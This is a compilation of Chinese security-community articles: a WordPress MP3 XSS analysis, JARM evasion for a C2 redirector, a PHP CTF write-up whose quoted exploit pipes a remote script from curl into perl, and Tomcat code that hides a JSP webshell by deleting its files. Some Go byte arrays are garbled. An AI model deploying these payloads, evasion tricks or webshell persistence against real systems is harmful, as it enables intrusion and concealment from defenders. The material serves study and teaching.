一般来说，我的建议是对厂商的营销保持谨慎态度。世界上并不存在机器学习厂商而只存在将机器学习用于解决具体问题的厂商。用户实体行为分析很好地说明了整个市场如何以在解决某个具体用例中使用的方法被错误地命名而不是以用例本身命名。这就导致了很多困惑的产生而且它应当作为营销人员应该学习的经验教训。你能够解决事件响应、高阶威胁检测、使用机器学习实施追捕和调查的方方面面。如果不应用于具体的问题中，机器学习本身不会解决任何问题。 | 社区文章 |
C++编写的，未加壳
在虚拟机跑了一下，观察了一下执行效果，用微步在线分析了一下。
创建了8个进程，目前我们还不太清楚这些进程做了什么事情
现在我们直接IDA分析，进入main函数
大致含义是根据参数来判断执行流程，如果参数小于等于1跳转到loc_40144f处，弹出两个窗口，如果我们都点击确认的话就会分配4000h的堆内存，并获取当前进程的路径；如果点否的话退出进程。
紧接着生成5个普通的进程和一个最高响应优先级的进程(进程的参数不同，详情见微步图)，最后退出本进程
接下来我们分析参数大于1的情况
前面基本一样，都是获取进程的相关信息。接下来遍历进程，并将其与我们以前的信息做对比(在这看汇编有一点懵，最后用IDA的F5生成的伪C大概看懂了。)主要判断是否kill了进程，一旦kill了一个进程就调用sub_401021子函数。根据推测，子函数的主要功能是重启
接下来看看sub_401021()子函数的功能。IDA的识别好像有一点问题，百度了一下最后在看雪找到了解决方法
该函数主要创建了20个线程，并在最后调用了关机的函数。后面的写引导区因为能力不足暂时分析不了。
最后附上一张大致执行流程图
总结：第一次进行病毒分析，遇见了许多的坑，但还好都解决了。个人觉得平时真的应该自己动手分析一下，脑子会了，手不一定会
参考文章：<https://bbs.pediy.com/thread-262873.htm#msg_header_h1_4>
最后附上我的IDA分析数据库 | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2017-03-10**
## 0x00 漏洞概述
### 漏洞简介
近日 Wordpress 发布了
[4.7.3](https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/)，在此次更新中修复了一个[利用恶意 MP3 文件的 XSS
漏洞](https://securify.nl/advisory/SFY20160742/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html)，该漏洞触发点有两处，一个是在服务端输出数据时，另外一个在前端渲染数据时。触发该漏洞有两个前提条件：攻击者需要具有上传
MP3 文件的权限或者能够诱导管理员进行上传，并且还需具有发表文章并添加播放列表的权限。成功触发该漏洞后攻击者可以利用 XSS 进行获取用户信息等敏感操作。
### 漏洞影响
利用 XSS 进行获取用户信息等敏感操作
触发前提：
1. 具有上传 MP3 文件的权限或者能够诱导管理员进行上传
2. 具有发表文章并添加播放列表的权限
影响版本： < 4.7.3
## 0x01 漏洞复现
### 环境搭建
只需下载安装相应版本 Wordpress 即可
### 复现
在看具体的漏洞之前，我们先简单了解一下 [ID3](https://en.wikipedia.org/wiki/ID3)，它是一个元数据容器，用来存储
MP3 文件的一些相关信息，例如名称、作者和专辑等等，我们可以用一个Python 的第三方库
[eyeD3](http://eyed3.nicfit.net/) 来对 MP3 文件进行解析和修改，首先我们来解析一下漏洞作者给出的
[PoC](https://securify.nl/advisory/SFY20160742/xss.mp3)：
可以看到在 title 中存在着 XSS 代码。
接下来我们执行以下几个步骤来触发漏洞：
1. 登陆后台上传该 MP3 文件
2. 创建文章
3. 创建播放列表，把恶意 MP3 文件加入到播放列表中
4. 发布文章
然后我们点开新发布的文章，发现会弹窗两次：
我们先看第一次弹框，刷新页面，开启动态调试，我们看`wp-includes/media.php`的`wp_playlist_shortcode`函数，该函数用于创建播放列表，在第2112-2118行中有这样一段代码：
<noscript>
<ol><?php
foreach ( $attachments as $att_id => $attachment ) {
printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
}
?></ol>
</noscript>
这里将 `wp_get_attachment_link`的值直接输出到了页面上，跟进这个函数：
function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
$_post = get_post( $id );
if ( empty( $_post ) || ( 'attachment' !== $_post->post_type ) || ! $url = wp_get_attachment_url( $_post->ID ) ) {
return __( 'Missing Attachment' );
}
if ( $permalink ) {
$url = get_attachment_link( $_post->ID );
}
if ( $text ) {
$link_text = $text;
} elseif ( $size && 'none' != $size ) {
$link_text = wp_get_attachment_image( $_post->ID, $size, $icon, $attr );
} else {
$link_text = '';
}
if ( '' === trim( $link_text ) ) {
$link_text = $_post->post_title;
}
if ( '' === trim( $link_text ) ) {
$link_text = esc_html( pathinfo( get_attached_file( $_post->ID ), PATHINFO_FILENAME ) );
}
...
return apply_filters( 'wp_get_attachment_link', "<a href='" . esc_url( $url ) . "'>$link_text</a>", $id, $size, $permalink, $icon, $text );
}
最终的返回值与`$link_text`有关，根据调试来看，`$link_text`最终取的是
`$_post->post_title`，`$_post->post_title`的值如下：
可见`$link_text`即为我们构造的 payload （图中由于 payload 过长并没有显示完全），接下来继续跟进`apply_filters(
'wp_get_attachment_link', "<a href='" . esc_url( $url ) . "'>$link_text</a>",
$id, $size, $permalink, $icon, $text );`函数直接返回了`$value`：
所以最终输出到两个`<li>`之间的内容是`<a href='http://127.0.0.1:8081/wp-content/uploads/2017/03/xss.mp3'>Summer of Pwnage
</noscript><script>alert(document.cookie);</script></a>`
，其中`</noscript>`对前面的标签进行了闭合，整个过程中并没有进行过滤，从而使 payload 得以被执行：
接下来我们来看第二个弹框，在`/wp-includes/js/mediaelement/wp-playlist.js`第91-105行：
renderTracks : function () {
var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
this.tracks.each(function (model) {
if ( ! self.data.images ) {
model.set( 'image', false );
}
model.set( 'artists', self.data.artists );
model.set( 'index', self.data.tracknumbers ? i : false );
tracklist.append( self.itemTemplate( model.toJSON() ) );
i += 1;
});
this.$el.append( tracklist );
this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
},
`renderTrack`函数的作用是对播放列表进行填充，这里使用 jQuery
`this.$el.append`将`tracklist`的内容输出的页面中，
`tracklist`和`self.itemTemplate(model.toJSON())`有关，我们通过`console.log`来看一下`self.itemTemplate(model.toJSON())`的值：
可以看到`wp-playlist-item-title`中有我们的 payload，这个过程也并没有进行过滤或转义，从而导致了 XSS 的产生。
总的来说，这个漏洞在利用上虽然不用担心 payload 的构造问题，但是由于需要特殊权限以及文件上传，笔者觉得还是略显鸡肋的。
## 0x02 补丁分析
其实不难看出漏洞的根源在于上传文件后没有对元数据的合法性进行检测，所以 Wordpress 官方做了如下补丁：
在读取文件元数据的地方对元数据进行过滤。
## 0x03 参考
* <https://securify.nl/advisory/SFY20160742/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html>
* <https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/>
* <https://en.wikipedia.org/wiki/ID3>
* <http://eyed3.nicfit.net/>
* https://www.seebug.org/vuldb/ssvid-92753
* * * | 社区文章 |
**作者：风起
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 基于JARM指纹的C2识别
JARM的工作原理是主动向目标TLS服务器发送10个特殊构造的TLS Client Hello包，以在TLS服务器中提取独特的响应，并捕获TLS
Server Hello响应的特定属性，然后以特定的方式对聚合的TLS服务器响应进行散列，产生JARM指纹。
因为Client Hello中的参数不同，最终返回的Server Hello都是不相同的，通过发送特殊构造的Client
Hello握手包，以获取与之对应的特殊Server Hello响应，以此作为依据，最终产生TLS Server指纹。
JARM以不同的顺序发送不同的TLS版本、密码和扩展，以收集唯一的响应。
* **服务器是否支持TLS 1.3协议?**
* **它会用1.2个密码来协商TLS 1.3吗?**
* **如果我们将密码从弱到强排序，它会选择哪个密码?**
这些是JARM本质上要求服务器提取最独特响应的异常问题类型。然后对这10个响应进行哈希处理以产生JARM指纹。
**TLS Client Hello请求流量**
Wireshark Filter:
ssl.handshake.type == 1
**TLS Server Hello响应**
多数情况下JARM指纹都是用以佐证TLS服务并进行标记，从而关联服务。当然，最理想的状态下，我们能够通过JARM指纹唯一的指向目标C2设施，但是实际来讲JARM指纹对于不同服务器部署的C2设施并不是唯一的，有很多因素都会对其扫描的结果造成影响。所以我们并不能作为行为测绘的指纹直接关联到某个C2的服务，仅能作为佐证的效果。
在开发RedGuard的过程中我发现，因为本身来讲RG的作用就是进行前置流量的控制，从而实现后端C2服务的隐匿性，在蓝队对流量交互进行分析的时候，针对RG的JARM指纹扫描结果在多数差异的环境下都是相同的，也就是说，在分析的过程中，这个指纹是可以起到佐证攻击设施的作用，从而破坏我们想要预期达到的隐匿性。
**基础设施的更改（例如，IP 地址、托管平台）不会影响JARM签名，这使得常规的方式难以对其进行规避。**
**影响服务端JARM指纹的因素：**
* 操作系统及版本
* 使用的库及版本
* 调用库的顺序
* 自定义配置
* ........
也就是说，如果我们想要影响最终针对服务端的JARM指纹扫描结果，我们就要从上面的几个因素入手去做，目前的解决方案共有两种：
**一、重播TLS Server Hello响应**
**二、更改TLS Server配置CipherSuites加密套件**
第一种方式也就是在监听特定客户端 Hello 的 TCP 服务器，然后在C2服务器上捕获这些特定的Client
Hello（每个请求都有重复的字节，使用这些字节来识别每个特定的Client Hello握手包）,稳定的对这10个特殊构造的Client
Hello的响应进行重播，从而实现改变真实JARM指纹的效果。
if bytes.Contains(request, [] byte {
0x00, 0x8c, 0x1a, 0x1a, 0x00, 0x16, 0x00, 0x33, 0x00,
0x67, 0xc0, 0x9e, 0xc0, 0xa2, 0x00, 0x9e, 0x00, 0x39
, 0x , 0xc0, 0x9f, 0xc0, 0xa3, 0x00, 0x9f, 0x00,
0x45, 0x00, 0xbe, 0x00, 0x88, 0x00, 0xc4, 0x00, 0x9a,
... ...
}) {
fmt.Println("replaying: tls12Forward ")
conn.Write([] byte {
0x16, 0x03, 0x03, 0x00, 0x5a, 0x02, 0x00, 0x00,
0x56, 0x03, 0x03, 0x17, 0xa6, 0xa3, 0x84, 0x80,
0x0b, 3,d, 0xbb, 0x 0xe9, 0x3e, 0x92, 0x65,
0x9a, 0x68, 0x7d, 0x70, 0xda, 0x00, 0xe9, 0x7c,
... ...
})
}
在对所有十个不同的请求实施回复后，可以伪造完整的签名。
这是一种比较懒惰的办法了，最终的效果确实能够对JARM扫描的结果进行混淆，但是我认为太过单调，需要注意的是ServerHello的原始响应他不能进行任意修改，因为在工具开发中流量的正常交互才是最重要的，任意修改上述一些影响
JARM扫描的因素可能导致无法正常通信的问题出现。也就是说他所重播的这些ServerHello数据包是需要监听某个正常的服务的JARM扫描响应来实现的，并不适合我们应用到工具去实现混淆的效果，我们需要一种简单而又稳定的方法。
**当然，这种方式还有一种延伸，就是首先随机获取正常站点的列表进行JARM指纹扫描，从而获取其ServerHello响应然后，直接作为识别到JARM扫描握手包的响应包进行重播，这样是最合理的一种方式。**
第二种也就是阿姆斯特丹2021 HITB议题《COMMSEC: JARM Randomizer: Evading JARM
Fingerprinting》中提到的一种方式，作者在github上对衍生工具 JARM
Randomizer进行了部分开源，通过阅读它的代码不难看出，其实与我最初想到的方式非常相像，最终影响JARM的因素使用的是CipherSuites加密套件（加密算法套件
CipherSuite 由各类基础加密算法组成）
**实现代码：**
如上图，针对反向代理的TLS Config
CipherSuites的设置，我提供了15种不同的加密套件方式，1/2/3....个不同组合的加密套件最终得到的JARM指纹结果都不是相同的
**（加密套件过多会导致无法正常通信的玄学问题）**
，这里我对这15种加密套件进行随机组合的方式，1-2个随机取值进行组合这些CipherSuites，大概会有几十种不同的随机JARM指纹产生。
**最终效果如下：**
可以看到，最终应用在工具的效果就是在每次启动RG的时候，它的JARM指纹都不是相同的，会自动根据上述的混淆方式产生一个全新的JARM指纹，可以防止空间测绘的扫描，以此关联公网上RG基础设施的部署情况。目前市面上多数测绘平台都会进行集成并默认进行JARM指纹的扫描，可能也是因为其扫描效率快，扫描资源成本低、同时又对C2设施有着一定的佐证指向性的原因吧。
**RedGuard是一款C2基础设施前置流量控制设施，可以规避Blue Teams、AVs、EDRs检查。**
## **参考链接：**
<https://github.com/wikiZ/RedGuard>
<https://github.com/netskopeoss/jarm_randomizer>
<https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b>
<https://conference.hitb.org/hitbsecconf2021ams/sessions/commsec-jarm-randomizer-evading-jarm-fingerprinting/>
* * * | 社区文章 |
# 关于One-line-php-challenge的思考
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0X01 前言：
hitcon 2018 过去了，作为一个 web 手 one-line-php-challenge
这道题自然引起了我的很大的兴趣，后期看各路大师傅们的解题姿势，也都是之前说过的一些细小的知识，看看为什么没有利用起来
## 0X02 题目介绍：
P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04
不愧是 Orange 巨巨的题，真的惊了。
大概解释一下就是 我们要通过 get 方式传入一个 orange 参数，作为文件名，然后程序会将我们传入文件名的那个文件取出头6个字符和 @<?php
比对，如果配对成功那么就会包含这个文件，否则就什么都不做
我们知道，这个比赛的 flag 开头是 hitcon 正好是6个字符，有没有关系呢？我们接着往下看
## 0X03 解题过程
### 第一步：实现 session 文件的创建
根据 Orange 给出的[解题思路](https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge)，我们首先要通过 PHP_SESSION_UPLOAD_PROGRESS 控制 session 文件（
而且从官方文档我们能发现session_upload_progress.cleanup/enable是默认开启的 ，并且官方强烈推荐我们打开）
如下图所示：
这一部分内容网上的很多文章也分析过了我就不重复分析了，但是这里却有一点不一样，人们根本没有向这个方向去想，因为这里面有一个误区，我们以前认为只有PHP使用了
session_start() 才会生成 session 文件，但是实际上并不是这样的
我们来看我下面的实验：
我在没有打开 session 的情况下，测试一段上传文件的代码，代码如下
tt.php
<html>
<head></head>
<body>
<form action="./upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name=<?php echo ini_get('session.upload_progress.name');?> value="K0rz3n" />
<input type="file" name="file" value = ""/>
<input type="submit" name = "submit" value = "upload"/>
</form>
</body>
</html>
upload.php
<?php
if($_POST['submit']){
$raw_name1 = $_FILES['file']['name'];
$temp_file1 = $_FILES['file']['tmp_name'];
move_uploaded_file($temp_file1, './Uploads/'.$raw_name1);
}
?>
实验一：无PHPSESSID的情况
实验二：有PHPSESSID的情况
实验三：只有PHPSESSID的情况
这次实验中我修改了 tt.php 中的部分内容，他看起来是下面的样子
<html>
<head></head>
<body>
<form action="./upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" value = ""/>
<input type="submit" name = "submit" value = "upload"/>
</form>
</body>
</html>
我将不让 POST 请求中带有我们的 session.upload_progress.name
我们发现，如果我们的请求头中带着 session.upload_progress.name 的值，不管服务端PHP有没有开session ，
只要我们在请求头中填上 PHPSESSID(符合格式，随便你怎么写),服务器就会根据我们这个 PHPSESSID 在session
文件的默认存放位置生成一个 session 文件
### 第二步：再分析已知条件
好了，到现在为止我们再回过头看题目，根据我们上面的分析，是不是我们只要和原来的 session.upload_progress getshell
一样，向题目页面一边 POST 数据，然后再一边 GET 请求这个 session 文件就行了呢？我们发现事情并没有我们想的那么简单，我们发现 Orange
给我们做了一个非常苛刻的限制，这其实也是这道题的第二个难点，他要求文件的开头必须是 @<?php ，这不是搞笑吗？ 我们来看一下这个 session
文件的内容，他是长得下面这个样子
upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}}
可以看到这个文件是以 upload_progress
开头的,也就是说，我们包含还不能直接包含，我们还需要控制这个开头，但是最多控制这18个字符，如果超过了就会影响到我们的 payload ，导致 shell
无法创建
### 第三步：找到解决办法
这里又不得不提到 P 总，P 总在 2016 年的时候在博客提到过一个知识点，利用 PHP 的过滤器实现 绕过 死亡 <?php exit;?>
是对三个白帽的一道题的分析
我们先简单的回顾一下
题目内容是这样的：
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
大致意思是，我们可以在服务器上写文件，但是代码设置为只要我们传入文件的内容，他就给我们在开头添加上 <?php
exit;?>，众所周知，这段代码的意思就是我们直接退出，不继续执行，因此就算我们传入了一句话，也会因为开头的这个退出指令导致我们无法包含，于是我们就要想办法绕过这个
“死亡” exit
P 总在文中给出了两种方法，一种是通过 php://filter 的 base64-decode 过滤器实现的，我们先简单看一下这个方法
#### 方法一：convert.base64-decode
这种方法涉及到了 php 进行 base64 解码的一种机制，他在解码的时候遇到不符合 base64 规定字符的就会将其忽略，实际上他的解码过程是这样的
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
因此如果我们解码 <?php exit; ?> ，在排除掉 < 、> 、? 、；、空格以后，真正参与解码的只有 phpexit
这七个字符，又因为，base64 解码是 4byte 一组，于是我们给他添加一个字符让他凑够 8
测试代码：
<?php
echo base64_decode($_POST['b64']);
实验截图：
那么现在只剩下这几个字符了，如果再解码一次估计就没剩什么了，自然我们就逃脱了 “死亡” exit
当然，我们能利用的不只是 base64 这一种过滤器，还有个过滤器叫 string.strip_tags,正如其名，他是用来去除 标签的
#### 方法二：string.strip_tags
测试代码：
<?php
echo strip_tags($_POST['tags']);
截图:
这里不是我没运行，而是他已经把所有的标签连同里面内容全都删除了
但是如果是就这道 死亡 exit 来讲，这种方法也会将我们输入的shell 删除，解决办法就是使用过滤链，先将我们的 shell b64编码,然后经过
strip_tags 把 exit 去掉，然后在经过 b64 解码就 OK 了 ，具体的分析可以看
p总的[这篇文章](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)
### 第四步：问题解决
经过上面的分析有没有觉得有了思路了呢？因为 Orange 这道题也是让我们逃逸,只不过不是 exit 而是 upload_progress
因为这个没有标签，于是 striptags 就不是很好用了，我们再看看 b64 的方法行不行
，因为 upload_progress 是16个字符，但是根据 b64 的 decode 规则，其中只有14个字符能解析，但是 14个字符又不是 4
的整数倍，于是我们必须添加两个字符，将其变成16位，那么加什么字符合适呢？
这里面其实是有讲究的，必须要保证在加了这个字符以后每次 b64 可解码的位数都是4 的整数倍，要不然就会吞掉我们的 payload 想必是经历了一番
fuzz 找到了 ZZ 这两个字符
下面借用 wonderkun 师傅的脚本
<?php
$i = 0 ;
$data = "upload_progress_ZZ";
while(true){
$i += 1;
$data = base64_decode($data);
var_dump($data);
sleep(1);
if($data == ''){
echo "一共解码了:".$i,"次n";
break;
}
}
所以我们的 payload 是下面这段代码的输出结果
<?php
echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);')));
也就是
upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0=
我们亲自将去解码三次进行测试
测试代码：
<?php
$data = 'upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0=';
for($i=0;$i<3;$i++){
$new_data = base64_decode($data)."<br/>";
echo $new_data;
$data = $new_data;
}
输出结果：
有一部分被解析了，我们看一下源码
可以看到我们成功恢复了我们的payload (<br>前面是上一次循环的，第三次循环只剩下了题目要求的字符)
下面给上 Orange 的 exp
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print xxx
break
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print
if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
## 0X04 总结：
这篇文章在看了 wonderkun 师傅的分析后又简单的跟着 Orange
的提供的思路走了一遍题目的流程，没有新的技术，但是更多的是技术的细节，session.upload_progress
这个小细节之前我也没有想到过，很多的细节就在想当然中过去了，如果你深入挖掘一下，可能会有不一样的收获
## 0X05 参考：
<http://wonderkun.cc/index.html/?p=718>
<https://www.leavesongs.com/PENETRATION/php-filter-magic.html>
<https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge> | 社区文章 |
# Tomcat容器攻防笔记之JSP金蝉脱壳
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
背景：
基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
结合当下的形势，尝试下在Tomcat容器中，寻找能为我们渗透测试提供便利的特性。
声明 ：
由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。
* * *
历史文章：
[Tomcat容器攻防笔记之Filter内存马](https://mp.weixin.qq.com/s/nPAje2-cqdeSzNj4kD2Zgw)
[Tomcat容器攻防笔记之Servlet内存马](https://mp.weixin.qq.com/s/rEjBeLd8qi0_t_Et37rAng)
* * *
## 一、金蝉脱壳怎么讲？
在Tomcat中，JSP被看作是一种特殊的servlet，当我们请求JSP时，Tomcat会对jsp进行编译，生成相应的class文件。在我们渗透测试的过程中通过文件上传令jsp落地，动静太大，Webshell的痕迹太过于明显，容易被管理员发现并删除，而当JSP文件被删除后，Webshell就失效了。当然也可以通过其他组合拳，打入内存马或以其他形式做权限维持。
这次我们根据Tomcat对Jsp的处理流程来看看，有没有什么办法，当服务器将JSP删除后，我们的webshell仍能维持运作？
## 二、Tomcat基本的Servlet有哪些？
通过查看配置文件/conf/web.xml，可以得知Tomcat含有两个默认的servlet。分别是DefaultServlet以及JspServlet。
对于Tomcat而言，当一个请求进入时，若没有匹配到任何在/WEB-INF/Web.xml中定义的Servlet，则最终会流经至这两个默认的Servlet。
其中，DefaultServlet主要用于处理静态资源如HTML、图片、CSS以及JS文件等，为了提高服务器性能，Tomcat会对访问文件进行缓存，并且按照配置中的Url-Pattern，客户端请求资源的路径，跟资源的物理路径应当是一致的，当然如果只想加载static目录下的资源，这里也可以将DefaultServlet的路径匹配限制为“/static/”，关于DefaultServlet不再赘述。
那么，JspServlet主要负责处理对于JSP文件以及JSPX文件的请求，如此一来，我们就知道了，处理对于.jsp和*.jspx的请求，调用的是Servlet是JspServlet。
## 三、JspServlet的调用过程和逻辑细节
不知道各位还有没有印象，我们Servlet，在哪个时候、哪个过程、哪个类中才被调用。如果忘记了可以重新翻阅一下《[Tomcat容器攻防笔记之Filter内存马](https://mp.weixin.qq.com/s/nPAje2-cqdeSzNj4kD2Zgw)》以及《[Tomcat容器攻防笔记之Servlet内存马](https://mp.weixin.qq.com/s/rEjBeLd8qi0_t_Et37rAng)》两篇文章。
其实，就是在ApplicationFilterChain调用Filter对请求执行一遍过滤逻辑之后，开始对Servlet进行调用。
具体在ApplicationFilterChain#internalDoFilter方法中的this.servlet.service(request,
response)。这里的this是ApplicationFilterChain
我们继续来看JspServlet#service()，前面一段是获取当前请求的Jsp路径，比方说请求“/webapp/index.jsp”,那么这里就获取的是jspUri
= “/index.jsp”
this.preCompile(request)就是判断一下有没有预编译，我们关注点在jsp的刷新机制，这里影响不大，继续往下看。
进入JspServlet#serviceJspFile()方法，this.rctxt指代JspRuntimeContext类，它是Tomcat后台定期检查JSP文件是否变动的类，若有变动则对JSP文件重新编译。
在JspRuntimeContext的成员属性jsps中，记录的与jspUri对应的Wrapper，这个wrapper逻辑上对应jsp经编译后得到的servlet
那么第一个if逻辑，做的是一个匹配，匹配到了就返回Wrapper。
往下看，wrapper.service(),这里进入JspServletWrapper的service方法。
Tomcat默认处于开发模式，而生产模式下的Tomcat，Jsp更新后需要重启服务才可以生效，这里将进入this.ctxt.compile()。
此处this.ctxt调用的是JspCompilationContext类，该类主要是记录用于JSP解析引擎的各类数据。当前我们在JspServletWrapper类中，调用compile()方法是为了确认当前访问的jsp是否需要重新编译。
因此当进入Compile()中时，关键的逻辑就是this.jspCompiler.isOutDated()，检查Jsp更新。这里顺带讲讲，Tomcat对于Jsp使用的编译器，来看看this.createCompiler()。
逻辑比较简单，先看看配置文件有没有定义编译器，没有就默认采用JDTcompiler。
直接来看isOutDated()吧，既然这里是判断我们访问的JSP文件有没有更新，在这里搞点事情做点手脚欺骗一下Tomcat让它误以为没有更新。
这里是核心步骤，在讲解之前，要先补充点其他的内容。上文中，我们提及到JspRuntimeContext类，Jsp文件经过编译并包装后得到的JspServletWrapper实例，其实保存在JspRuntimeContext#jsps中。
当我们访问JSP文件时，Tomcat将从JspRuntimeContext#logs中，根据我们请求的路径找到相应的JspServletWrapper，如果没有找到，就进行加载编译，并添加入jsps中，无论是新编译好的还是旧编译好的，依旧会调用此时得到的JspServletWrapper#service()方法，此时真正响应请求的servlet其实已随JspServletWrapper，保存在jsps中。
经过上面分析，最终会去到isOutDated方法。如果我们删除了Jsp文件，则该方法必然返回true，Tomcat将对jsp文件进行重新编译，如果没找到jsp文件，则报FileNotFoundException。
那么，真正实现代码逻辑功能的servlet已经在jsps中安安静静躺好了，要想实现删除掉Jsp文件，但仍然让servlet”高枕无忧”，就要令isOutDataed的第一个If逻辑直接返回false（这个If逻辑比较容易处理）
来看，this.jsw等同于JspServletWrapper，前两个条件明显成立，ModificationTestInterval的值默认为4，jsw是对我们请求响应的JspServlet。
后面判断JspServletWrapper的LastModificationTest加上4*1000 是否大于系统当前时间，成立则返回false。
我一看this.jsw.getLastModificationTest()，啪的一下，很快嗷，有没有朋友已经反应过来了，利用Java反射机制动态修改实例中的运行数据，将LastModificationTest更改为一个足够大的值，使得这个条件永成立，就可以使得Tomcat认为我们的JSP文件至始至终不曾更变。
这里是long型，可能有的朋友一瞅，阿我直接整个long型最大值，使得这个条件永真。留意还有额外的变量要添加，超过最大值会得到一个负数，令这个条件永假。
## 四、编写代码
按照惯例，导入包一览：
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.jasper.compiler.JspRuntimeContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@ page import="org.apache.jasper.JspCompilationContext" %>
<%@ page import="java.io.File" %>
无尽的反射,request里的MappingData东西是真的全,下列反射的类不知道为什么的要这么做的可以看看上述关于jsps的图：
<%
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
MappingData mappingData = req.getMappingData();
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");
rctxt.setAccessible(true);
JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");
jspsF.setAccessible(true);
ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());
jsw.setLastModificationTest(8223372036854775807L);
JspCompilationContext ctxt = jsw.getJspEngineContext();
File targetFile;
targetFile = new File(ctxt.getClassFileName());//删掉jsp的.class
targetFile.delete();
targetFile = new File(ctxt.getServletJavaFileName());//删掉jsp自身
targetFile.delete();
%>
## 五、看看效果 | 社区文章 |
# 【技术分享】从补丁对比到PoC复现之MS16-030
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.vectranetworks.com/blog/triggering-ms16-030-via-targeted-fuzzing>
译文仅供参考，具体内容表达以及含义原文为准。
****
**MS16-030漏洞**
MS16-030漏洞是Windows
OLE的远程代码执行漏洞，由于OLE没有正确的验证用户输入，导致通过构造特殊的文件或者程序可以触发此漏洞，导致用户点击后远程执行任意代码。
关于漏洞补丁信息：
<https://support.microsoft.com/zh-cn/kb/3143136>
关于漏洞说明文档：
<https://support.microsoft.com/zh-cn/kb/3143136>
**MS16-030补丁对比分析**
最近由于对我们一些相关产品的研究，需要分析MS16-030的补丁。在分析完之后，我们发现这个补丁中关于这个漏洞的攻击部分是很有趣的，而且把这个漏洞的一部分细节拿出来分享应该对大家都有所帮助。这篇文章主要就是重点分享从补丁对比，到触发MS16-030漏洞的过程。
OLEAUT32.dll是Windows OLE的一个重要动态链接库，我们可以看到在补丁前后对于OLEAUT32动态链接库中修改过的函数的列表。
